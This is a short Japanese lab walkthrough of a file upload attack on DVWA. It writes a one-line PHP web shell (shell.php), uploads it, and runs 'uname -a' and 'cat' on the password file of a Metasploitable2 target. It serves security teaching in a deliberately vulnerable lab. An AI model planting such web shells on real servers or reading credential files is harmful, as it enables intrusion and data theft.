ファイルをアップロードできるサービスにおいて、悪意のあるファイルをアップロードし、そのファイルにアクセスすることによって情報を抜き出したりする攻撃。
DVWA にログインする
- Security level = low を確認する
- 左欄から「Upload」を選び Vulnerability: File Upload のページに移る
Kali の端末を開いて、アップロードする「悪意のあるファイル」を作成する
root@kali:~# vim shell.php<?php system($_GET[cmd]); ?>// GETリクエストの受け取り。スーパーグローバル変数 $_GET['param'] // system() 指定した外部プログラムを実行し、結果を出力する
GET メソッド
一番簡単にデータをやり取りする方法
URL の末尾に「?」を付け、「パラメータ名 = 値」という形式でデータを付与する。
PHP - system
PHP - $_GET
PHP - HTML フォーム (GET と POST)
DVWA のファイルアップロード画面に戻り [Browse...] をクリックし、作成したファイル shell.php を選択する。
[Upload] をクリックする
アップロードされたディレクトリが表示されるので、一度表示してみる
作成されたファイルがアップロードされていることが分かる。その shell.php をクリック
実際にコマンドを指定してみる uname -a
(Metasploitable2 のシステム情報の表示)
次に cat
でパスワードファイルを表示してみる
このように、どんなファイルでもアップロードできてしまうサイトは、悪意のあるファイルを利用して情報を抜き取られる。